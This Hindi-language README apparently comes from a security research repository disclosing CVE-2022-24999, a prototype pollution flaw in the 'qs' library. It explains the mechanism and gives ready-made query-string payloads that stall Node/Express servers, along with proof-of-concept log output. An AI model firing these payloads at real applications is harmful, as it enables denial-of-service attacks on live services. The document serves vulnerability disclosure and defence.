
"qs" प्रोटोटाइप विषाक्तता भेद्यता ( CVE-2022-24999 )
यह रिपॉजिटरी दिसंबर 2021 में हमें JS लाइब्रेरी "qs" में मिली कमजोरी के शोषण नमूने शामिल करता है।
"qs" के कमजोर संस्करण आउटपुट JS ऑब्जेक्ट्स पर "proto" प्रॉपर्टी बनाने की अनुमति देते हैं।
"__ proto__" प्रॉपर्टी में एक Array सेट करके, हम "array-like" ऑब्जेक्ट बनाने में सक्षम हुए हैं।
चूंकि परिणामी ऑब्जेक्ट्स "Array" प्रोटोटाइप को इनहेरिट करते हैं, वे नेटिव Array फंक्शन को उजागर करते हैं।
लेकिन चूंकि वे अभी भी ऑब्जेक्ट हैं, "qs" उन पर "length" प्रॉपर्टी सेट करने की अनुमति देता है।
उदाहरण के लिए, निम्नलिखित पेलोड इस प्रकार की "evil" array बनाएगा :
categories[_proto__]&categories[_proto__]&categories[length]=100000000
इस प्रकार, उन पर एक अनुचित "length" मान सेट करने से node प्रक्रिया फ्रीज हो जाएगी जैसे ही वह उन्हें स्ट्रिंग मानों में बदलने का प्रयास करता है या अधिकांश नेटिव Array फंक्शन को कॉल करने पर।
यह किसी भी Node एप्लिकेशन को, जो "qs" के कमजोर संस्करण का उपयोग करता है, डिफ़ॉल्ट Express कॉन्फ़िगरेशन के साथ और एक मजबूत सत्यापन प्रणाली के बिना, एप्लिकेटिव DOS हमलों के लिए उजागर करता है।
यहाँ ./express-qs-string-bomb में poc के उदाहरण लॉग हैं :
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
हमारे विश्लेषण ने हमें यह भी देखने की अनुमति दी कि शोषण के अन्य तरीके भी संभव थे।
हम उनमें से कुछ का वर्णन ./qs-vulns निर्देशिका में करते हैं।
BRAUN Nathanael & BRISSAUD Johan
EY Security, France के लिए